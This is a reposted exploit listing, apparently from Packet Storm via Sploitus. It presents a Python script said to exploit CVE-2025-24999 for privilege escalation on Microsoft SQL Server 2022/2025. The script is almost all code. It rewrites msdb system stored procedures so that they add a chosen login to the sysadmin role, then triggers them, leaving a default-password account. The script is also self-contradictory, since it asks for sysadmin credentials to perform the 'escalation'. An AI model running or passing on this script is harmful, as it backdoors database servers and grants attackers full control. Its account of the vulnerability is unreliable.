Share
## https://sploitus.com/exploit?id=PACKETSTORM:219769
==================================================================================================================================
    | # Title     : Microsoft SQL Server 2022/2025 Privilege Escalation via Stored Procedure Abuse Python Exploit                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.microsoft.com/fr-dz                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This Python script demonstrates a privilege escalation technique targeting Microsoft SQL Server, associated with CVE-2025-24999. 
                     The exploit abuses improper permission controls on system stored procedures in the msdb database to elevate a low-privileged account to SYSADMIN.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import pyodbc
    import sys
    import time
    
    
    class SQLServerExploit:
        def __init__(self, server, database='master', username=None, password=None, use_windows_auth=False):
            self.server = server
            self.database = database
            self.conn = None
            self.cursor = None
    
            if not use_windows_auth and (not username or not password):
                raise ValueError("Username and password required for SQL authentication")
    
            if use_windows_auth:
                self.conn_string = (
                    f'DRIVER={{ODBC Driver 17 for SQL Server}};'
                    f'SERVER={server};DATABASE={database};Trusted_Connection=yes;'
                )
            else:
                self.conn_string = (
                    f'DRIVER={{ODBC Driver 17 for SQL Server}};'
                    f'SERVER={server};DATABASE={database};UID={username};PWD={password};'
                )
    
        def connect(self):
            try:
                self.conn = pyodbc.connect(self.conn_string, autocommit=True)
                self.cursor = self.conn.cursor()
                print(f"[+] Connected to {self.server}")
                return True
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                return False
    
        def execute_query(self, query, database=None):
            if not self.cursor:
                print("[-] No active database connection")
                return False
    
            try:
                if database:
                    self.cursor.execute(f"USE [{database}]")
    
                self.cursor.execute(query)
    
                try:
                    return self.cursor.fetchall()
                except pyodbc.ProgrammingError:
                    return []
            except Exception as e:
                print(f"[-] Query execution failed: {e}")
                return False
    
        def create_low_privilege_account(self, username, password):
            queries = [
                f"IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '{username}') "
                f"CREATE LOGIN [{username}] WITH PASSWORD = N'{password}', CHECK_POLICY = OFF",
                f"ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [{username}]"
            ]
    
            for query in queries:
                result = self.execute_query(query)
                if result is False:
                    return False
    
            print(f"[+] Created low-privilege account: {username}")
            return True
    
        def exploit(self, target_username, target_password):
            print(f"[*] Starting exploitation for user: {target_username}")
    
            setup_queries = [
                f"USE [msdb]",
                f"IF NOT EXISTS (SELECT * FROM sys.database_principals WHERE name = '{target_username}') "
                f"CREATE USER [{target_username}] FOR LOGIN [{target_username}]",
                f"ALTER ROLE [SQLAgentOperatorRole] ADD MEMBER [{target_username}]"
            ]
    
            for query in setup_queries:
                if self.execute_query(query) is False:
                    print("[-] MSDB setup failed")
                    return False
    
            print(f"[+] Configured MSDB for {target_username}")
    
            exploit_code = f"""
            ALTER PROCEDURE [dbo].[sp_delete_database_backuphistory]
            @database_name sysname
            AS
            BEGIN
                EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
            END
            """
    
            if self.execute_query(exploit_code, 'msdb') is False:
                return False
    
            exploit_code2 = f"""
            ALTER PROCEDURE [dbo].[sp_delete_backuphistory]
            @database_name sysname
            AS
            BEGIN
                EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
            END
            """
    
            if self.execute_query(exploit_code2, 'msdb') is False:
                return False
    
            print("[+] Stored procedures modified")
    
            trigger_queries = [
                "IF DB_ID('temp_exploit_db') IS NULL CREATE DATABASE temp_exploit_db",
                "EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N'temp_exploit_db'",
                "DROP DATABASE temp_exploit_db"
            ]
    
            for query in trigger_queries:
                if self.execute_query(query) is False:
                    print(f"[-] Trigger failed: {query}")
                    return False
    
            print("[+] Exploit triggered")
    
            time.sleep(1)
            result = self.execute_query(
                f"SELECT IS_SRVROLEMEMBER('sysadmin', '{target_username}')"
            )
    
            if result and result[0][0] == 1:
                print(f"[+] SUCCESS! {target_username} is SYSADMIN")
                return True
    
            print("[-] Exploit failed")
            return False
    
        def cleanup(self, username):
    
            queries = [
                f"DROP USER [{username}]",
                f"DROP LOGIN [{username}]"
            ]
    
            for query in queries:
                try:
                    self.execute_query(query, 'msdb')
                    self.execute_query(query)
                except Exception:
                    pass
    
            print(f"[+] Cleanup completed")
    
        def close(self):
            try:
                if self.cursor:
                    self.cursor.close()
            except:
                pass
    
            try:
                if self.conn:
                    self.conn.close()
            except:
                pass
    
    
    def main():
        print("=" * 60)
        print("CVE-2025-24999 - SQL Server Privilege Escalation Exploit")
        print("=" * 60)
    
        server = input("Enter SQL Server address: ").strip()
        use_auth = input("Use Windows authentication? (y/n): ").strip().lower()
    
        try:
            if use_auth == 'y':
                exploit = SQLServerExploit(server, use_windows_auth=True)
            else:
                username = input("Enter SQL username (SYSADMIN): ").strip()
                password = input("Enter password: ").strip()
                exploit = SQLServerExploit(server, username=username, password=password)
        except ValueError as e:
            print(f"[-] {e}")
            sys.exit(1)
    
        if not exploit.connect():
            sys.exit(1)
    
        target_user = input("Target username (default exploit_user): ").strip() or "exploit_user"
        target_pass = input("Password (default Exploit@123): ").strip() or "Exploit@123"
    
        if exploit.create_low_privilege_account(target_user, target_pass):
            if exploit.exploit(target_user, target_pass):
                print(f"\n[+] Exploit completed")
                print(f"[+] Credentials: {target_user}/{target_pass}")
    
                if input("Cleanup? (y/n): ").lower() == 'y':
                    exploit.cleanup(target_user)
            else:
                print("[-] Exploit failed")
        else:
            print("[-] User creation failed")
    
        exploit.close()
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================